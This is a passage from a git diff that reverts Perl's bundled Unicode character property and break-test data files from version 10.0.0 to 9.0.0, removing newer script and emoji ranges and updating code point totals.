SpacingMark # Mc [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA 11726 ; SpacingMark # Mc AHOM VOWEL SIGN E -11A07..11A08 ; SpacingMark # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A39 ; SpacingMark # Mc ZANABAZAR SQUARE SIGN VISARGA -11A57..11A58 ; SpacingMark # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A97 ; SpacingMark # Mc SOYOMBO SIGN VISARGA 11C2F ; SpacingMark # Mc BHAIKSUKI VOWEL SIGN AA 11C3E ; SpacingMark # Mc BHAIKSUKI SIGN VISARGA 11CA9 ; SpacingMark # Mc MARCHEN SUBJOINED LETTER YA @@ -562,7 +538,7 @@ ABEC ; SpacingMark # Mc MEETEI MAYEK LUM IYEK 1D166 ; SpacingMark # Mc MUSICAL SYMBOL COMBINING SPRECHGESANG STEM 1D16D ; SpacingMark # Mc MUSICAL SYMBOL COMBINING AUGMENTATION DOT -# Total code points: 348 +# Total code points: 341 # ================================================ @@ -1399,9 +1375,8 @@ D789..D7A3 ; LVT # Lo [27] HANGUL SYLLABLE HIG..HANGUL SYLLABLE HIH 26F9 ; E_Base # So PERSON WITH BALL 270A..270D ; E_Base # So [4] RAISED FIST..WRITING HAND 1F385 ; E_Base # So FATHER CHRISTMAS -1F3C2..1F3C4 ; E_Base # So [3] SNOWBOARDER..SURFER -1F3C7 ; E_Base # So HORSE RACING -1F3CA..1F3CC ; E_Base # So [3] SWIMMER..GOLFER +1F3C3..1F3C4 ; E_Base # So [2] RUNNER..SURFER +1F3CA..1F3CB ; E_Base # So [2] SWIMMER..WEIGHT LIFTER 1F442..1F443 ; E_Base # So [2] EAR..NOSE 1F446..1F450 ; E_Base # So [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN 1F46E ; E_Base # So POLICE OFFICER @@ -1410,7 +1385,7 @@ D789..D7A3 ; LVT # Lo [27] HANGUL SYLLABLE HIG..HANGUL SYLLABLE HIH 1F481..1F483 ; E_Base # So [3] INFORMATION DESK PERSON..DANCER 1F485..1F487 ; E_Base # So [3] NAIL POLISH..HAIRCUT 1F4AA ; E_Base # So FLEXED BICEPS -1F574..1F575 ; E_Base # So [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY +1F575 ; E_Base # So SLEUTH OR SPY 1F57A ; E_Base # So MAN DANCING 1F590 ; E_Base # So RAISED HAND WITH FINGERS SPLAYED 1F595..1F596 ; E_Base # So [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS @@ -1419,15 +1394,13 @@ D789..D7A3 ; LVT # Lo [27] HANGUL SYLLABLE HIG..HANGUL SYLLABLE HIH 1F6A3 ; E_Base # So ROWBOAT 1F6B4..1F6B6 ; E_Base # So [3] BICYCLIST..PEDESTRIAN 1F6C0 ; E_Base # So BATH -1F6CC ; E_Base # So SLEEPING ACCOMMODATION -1F918..1F91C ; E_Base # So [5] SIGN OF THE HORNS..RIGHT-FACING FIST -1F91E..1F91F ; E_Base # So [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN +1F918..1F91E ; E_Base # So [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED 1F926 ; E_Base # So FACE PALM -1F930..1F939 ; E_Base # So [10] PREGNANT WOMAN..JUGGLING -1F93D..1F93E ; E_Base # So [2] WATER POLO..HANDBALL -1F9D1..1F9DD ; E_Base # So [13] ADULT..ELF +1F930 ; E_Base # So PREGNANT WOMAN +1F933..1F939 ; E_Base # So [7] SELFIE..JUGGLING +1F93C..1F93E ; E_Base # So [3] WRESTLERS..HANDBALL -# Total code points: 98 +# Total code points: 79 # ================================================ @@ -1443,28 +1416,11 @@ D789..D7A3 ; LVT # Lo [27] HANGUL SYLLABLE HIG..HANGUL SYLLABLE HIH # ================================================ -2640 ; Glue_After_Zwj # So FEMALE SIGN -2642 ; Glue_After_Zwj # So MALE SIGN -2695..2696 ; Glue_After_Zwj # So [2] STAFF OF AESCULAPIUS..SCALES -2708 ; Glue_After_Zwj # So AIRPLANE 2764 ; Glue_After_Zwj # So HEAVY BLACK HEART -1F308 ; Glue_After_Zwj # So RAINBOW -1F33E ; Glue_After_Zwj # So EAR OF RICE -1F373 ; Glue_After_Zwj # So COOKING -1F393 ; Glue_After_Zwj # So GRADUATION CAP -1F3A4 ; Glue_After_Zwj # So MICROPHONE -1F3A8 ; Glue_After_Zwj # So ARTIST PALETTE -1F3EB ; Glue_After_Zwj # So SCHOOL -1F3ED ; Glue_After_Zwj # So FACTORY 1F48B ; Glue_After_Zwj # So KISS MARK -1F4BB..1F4BC ; Glue_After_Zwj # So [2] PERSONAL COMPUTER..BRIEFCASE -1F527 ; Glue_After_Zwj # So WRENCH -1F52C ; Glue_After_Zwj # So MICROSCOPE 1F5E8 ; Glue_After_Zwj # So LEFT SPEECH BUBBLE -1F680 ; Glue_After_Zwj # So ROCKET -1F692 ; Glue_After_Zwj # So FIRE ENGINE -# Total code points: 22 +# Total code points: 3 # ================================================ diff --git a/lib/unicore/auxiliary/LBTest.txt b/lib/unicore/auxiliary/LBTest.txt index 6715446aba24..05efcf5a447b 100644 --- a/lib/unicore/auxiliary/LBTest.txt +++ b/lib/unicore/auxiliary/LBTest.txt @@ -1,28 +1,25 @@ -# LineBreakTest-10.0.0.txt -# Date: 2017-04-14, 05:40:30 GMT -# © 2017 Unicode®, Inc. +# LineBreakTest-9.0.0.txt +# Date: 2016-06-18, 00:42:06 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # -# Default Line_Break Test +# Default Line Break Test # # Format: -# (# )? -# contains hex Unicode code points, with -# ÷ wherever there is a break opportunity, and +# (# )? +# contains hex Unicode code points, with +# ÷ wherever there is a break opportunity, and # × wherever there is not. # the format can change, but currently it shows: # - the sample character name # - (x) the Line_Break property value for the sample character -# - [x] the rule that determines whether there is a break or not, -# as listed in the Rules section of LineBreakTest.html -# -# Note: -# The Line_Break tests use tailoring of numbers described in -# Example 7 of Section 8.2, "Examples of Customization" of UAX #14. +# - [x] the rule that determines whether there is a break or not +# Note: The Line Break tests use tailoring of numbers described in Example 7 of Section 8.2 Examples of Customization. +# They also differ from the results produced by a pair table implementation in sequences like: ZW SP CL. # # These samples may be extended or changed in the future. # diff --git a/lib/unicore/auxiliary/SBTest.txt b/lib/unicore/auxiliary/SBTest.txt index 2985b84cf800..c7b6465c0c92 100644 --- a/lib/unicore/auxiliary/SBTest.txt +++ b/lib/unicore/auxiliary/SBTest.txt @@ -1,24 +1,23 @@ -# SentenceBreakTest-10.0.0.txt -# Date: 2017-04-14, 05:40:43 GMT -# © 2017 Unicode®, Inc. +# SentenceBreakTest-9.0.0.txt +# Date: 2016-06-02, 18:28:30 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # -# Default Sentence_Break Test +# Default Sentence Break Test # # Format: -# (# )? -# contains hex Unicode code points, with -# ÷ wherever there is a break opportunity, and +# (# )? +# contains hex Unicode code points, with +# ÷ wherever there is a break opportunity, and # × wherever there is not. # the format can change, but currently it shows: # - the sample character name # - (x) the Sentence_Break property value for the sample character -# - [x] the rule that determines whether there is a break or not, -# as listed in the Rules section of SentenceBreakTest.html +# - [x] the rule that determines whether there is a break or not # # These samples may be extended or changed in the future. # diff --git a/lib/unicore/auxiliary/SentenceBreakProperty.txt b/lib/unicore/auxiliary/SentenceBreakProperty.txt index cd698150f4be..9309493cf7f9 100644 --- a/lib/unicore/auxiliary/SentenceBreakProperty.txt +++ b/lib/unicore/auxiliary/SentenceBreakProperty.txt @@ -1,6 +1,6 @@ -# SentenceBreakProperty-10.0.0.txt -# Date: 2017-03-08, 08:42:08 GMT -# © 2017 Unicode®, Inc. +# SentenceBreakProperty-9.0.0.txt +# Date: 2016-06-01, 10:34:38 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -97,7 +97,6 @@ 0ACB..0ACC ; Extend # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU 0ACD ; Extend # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; Extend # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; Extend # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Extend # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; Extend # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B3C ; Extend # Mn ORIYA SIGN NUKTA @@ -139,9 +138,8 @@ 0CCC..0CCD ; Extend # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CD5..0CD6 ; Extend # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK 0CE2..0CE3 ; Extend # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Extend # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; Extend # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; Extend # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA -0D3B..0D3C ; Extend # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3E..0D40 ; Extend # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; Extend # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D46..0D48 ; Extend # Mc [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI @@ -276,9 +274,8 @@ 1CED ; Extend # Mn VEDIC SIGN TIRYAK 1CF2..1CF3 ; Extend # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; Extend # Mn VEDIC TONE CANDRA ABOVE -1CF7 ; Extend # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; Extend # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; Extend # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Extend # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Extend # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200C..200D ; Extend # Cf [2] ZERO WIDTH NON-JOINER..ZERO WIDTH JOINER 20D0..20DC ; Extend # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE @@ -442,19 +439,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 11722..11725 ; Extend # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11726 ; Extend # Mc AHOM VOWEL SIGN E 11727..1172B ; Extend # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; Extend # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Extend # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Extend # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; Extend # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; Extend # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3B..11A3E ; Extend # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; Extend # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; Extend # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Extend # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Extend # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Extend # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; Extend # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; Extend # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C2F ; Extend # Mc BHAIKSUKI VOWEL SIGN AA 11C30..11C36 ; Extend # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Extend # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA @@ -467,11 +451,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 11CB2..11CB3 ; Extend # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; Extend # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; Extend # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Extend # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Extend # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Extend # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Extend # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; Extend # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; Extend # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; Extend # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F51..16F7E ; Extend # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG @@ -500,7 +479,7 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT E0020..E007F ; Extend # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 2277 +# Total code points: 2197 # ================================================ @@ -1880,7 +1859,6 @@ FF21..FF3A ; Upper # L& [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LAT 0824 ; OLetter # Lm SAMARITAN MODIFIER LETTER SHORT A 0828 ; OLetter # Lm SAMARITAN MODIFIER LETTER I 0840..0858 ; OLetter # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; OLetter # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; OLetter # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; OLetter # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 0904..0939 ; OLetter # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA @@ -1900,7 +1878,6 @@ FF21..FF3A ; Upper # L& [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LAT 09DC..09DD ; OLetter # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA 09DF..09E1 ; OLetter # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09F0..09F1 ; OLetter # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; OLetter # Lo BENGALI LETTER VEDIC ANUSVARA 0A05..0A0A ; OLetter # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; OLetter # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; OLetter # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -2096,12 +2073,12 @@ FF21..FF3A ; Upper # L& [26] FULLWIDTH LATIN CAPITAL LETTER A..FULLWIDTH LAT 30A1..30FA ; OLetter # Lo [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FC..30FE ; OLetter # Lm [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK 30FF ; OLetter # Lo KATAKANA DIGRAPH KOTO -3105..312E ; OLetter # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; OLetter # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; OLetter # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; OLetter # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; OLetter # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; OLetter # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; OLetter # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; OLetter # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; OLetter # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015 ; OLetter # Lm YI SYLLABLE WU A016..A48C ; OLetter # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -2199,7 +2176,7 @@ FFDA..FFDC ; OLetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 10280..1029C ; OLetter # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; OLetter # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; OLetter # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; OLetter # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; OLetter # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; OLetter # Nl GOTHIC LETTER NINETY 10342..10349 ; OLetter # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; OLetter # Nl GOTHIC LETTER NINE HUNDRED @@ -2280,21 +2257,11 @@ FFDA..FFDC ; OLetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 11680..116AA ; OLetter # Lo [43] TAKRI LETTER A..TAKRI LETTER RRA 11700..11719 ; OLetter # Lo [26] AHOM LETTER KA..AHOM LETTER JHA 118FF ; OLetter # Lo WARANG CITI OM -11A00 ; OLetter # Lo ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; OLetter # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A3A ; OLetter # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A50 ; OLetter # Lo SOYOMBO LETTER A -11A5C..11A83 ; OLetter # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; OLetter # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; OLetter # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; OLetter # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; OLetter # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; OLetter # Lo BHAIKSUKI SIGN AVAGRAHA 11C72..11C8F ; OLetter # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; OLetter # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; OLetter # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; OLetter # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; OLetter # Lo MASARAM GONDI REPHA 12000..12399 ; OLetter # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; OLetter # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; OLetter # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -2310,11 +2277,10 @@ FFDA..FFDC ; OLetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 16F00..16F44 ; OLetter # Lo [69] MIAO LETTER PA..MIAO LETTER HHA 16F50 ; OLetter # Lo MIAO LETTER NASALIZATION 16F93..16F9F ; OLetter # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; OLetter # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; OLetter # Lm TANGUT ITERATION MARK 17000..187EC ; OLetter # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; OLetter # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; OLetter # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; OLetter # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; OLetter # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; OLetter # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; OLetter # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; OLetter # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -2357,10 +2323,9 @@ FFDA..FFDC ; OLetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 2A700..2B734 ; OLetter # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; OLetter # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; OLetter # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; OLetter # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; OLetter # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 121354 +# Total code points: 113027 # ================================================ @@ -2414,13 +2379,12 @@ ABF0..ABF9 ; Numeric # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT N 11730..11739 ; Numeric # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE 118E0..118E9 ; Numeric # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 11C50..11C59 ; Numeric # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11D50..11D59 ; Numeric # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 16A60..16A69 ; Numeric # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE 16B50..16B59 ; Numeric # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE 1D7CE..1D7FF ; Numeric # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE 1E950..1E959 ; Numeric # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -# Total code points: 582 +# Total code points: 572 # ================================================ @@ -2489,8 +2453,6 @@ FF61 ; STerm # Po HALFWIDTH IDEOGRAPHIC FULL STOP 115C9..115D7 ; STerm # Po [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES 11641..11642 ; STerm # Po [2] MODI DANDA..MODI DOUBLE DANDA 1173C..1173E ; STerm # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -11A42..11A43 ; STerm # Po [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD -11A9B..11A9C ; STerm # Po [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD 11C41..11C42 ; STerm # Po [2] BHAIKSUKI DANDA..BHAIKSUKI DOUBLE DANDA 16A6E..16A6F ; STerm # Po [2] MRO DANDA..MRO DOUBLE DANDA 16AF5 ; STerm # Po BASSA VAH FULL STOP @@ -2499,7 +2461,7 @@ FF61 ; STerm # Po HALFWIDTH IDEOGRAPHIC FULL STOP 1BC9F ; STerm # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP 1DA88 ; STerm # Po SIGNWRITING FULL STOP -# Total code points: 125 +# Total code points: 121 # ================================================ diff --git a/lib/unicore/auxiliary/WBTest.txt b/lib/unicore/auxiliary/WBTest.txt index 63761026ce1b..a3a4b0548e98 100644 --- a/lib/unicore/auxiliary/WBTest.txt +++ b/lib/unicore/auxiliary/WBTest.txt @@ -1,24 +1,23 @@ -# WordBreakTest-10.0.0.txt -# Date: 2017-04-14, 05:40:44 GMT -# © 2017 Unicode®, Inc. +# WordBreakTest-9.0.0.txt +# Date: 2016-06-02, 18:28:31 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # -# Default Word_Break Test +# Default Word Break Test # # Format: -# (# )? -# contains hex Unicode code points, with -# ÷ wherever there is a break opportunity, and +# (# )? +# contains hex Unicode code points, with +# ÷ wherever there is a break opportunity, and # × wherever there is not. # the format can change, but currently it shows: # - the sample character name # - (x) the Word_Break property value for the sample character -# - [x] the rule that determines whether there is a break or not, -# as listed in the Rules section of WordBreakTest.html +# - [x] the rule that determines whether there is a break or not # # These samples may be extended or changed in the future. # @@ -56,8 +55,8 @@ ÷ 0001 × 0308 ÷ 261D ÷ # ÷ [0.2] (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0001 ÷ 1F3FB ÷ # ÷ [0.2] (Other) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0001 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0001 ÷ 2640 ÷ # ÷ [0.2] (Other) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0001 × 0308 ÷ 2640 ÷ # ÷ [0.2] (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0001 ÷ 2764 ÷ # ÷ [0.2] (Other) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0001 × 0308 ÷ 2764 ÷ # ÷ [0.2] (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0001 ÷ 1F466 ÷ # ÷ [0.2] (Other) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0001 × 0308 ÷ 1F466 ÷ # ÷ [0.2] (Other) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0001 × 00AD ÷ # ÷ [0.2] (Other) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -118,8 +117,8 @@ ÷ 000D ÷ 0308 ÷ 261D ÷ # ÷ [0.2] (CR) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 000D ÷ 1F3FB ÷ # ÷ [0.2] (CR) ÷ [3.1] EMOJI MODIFIER 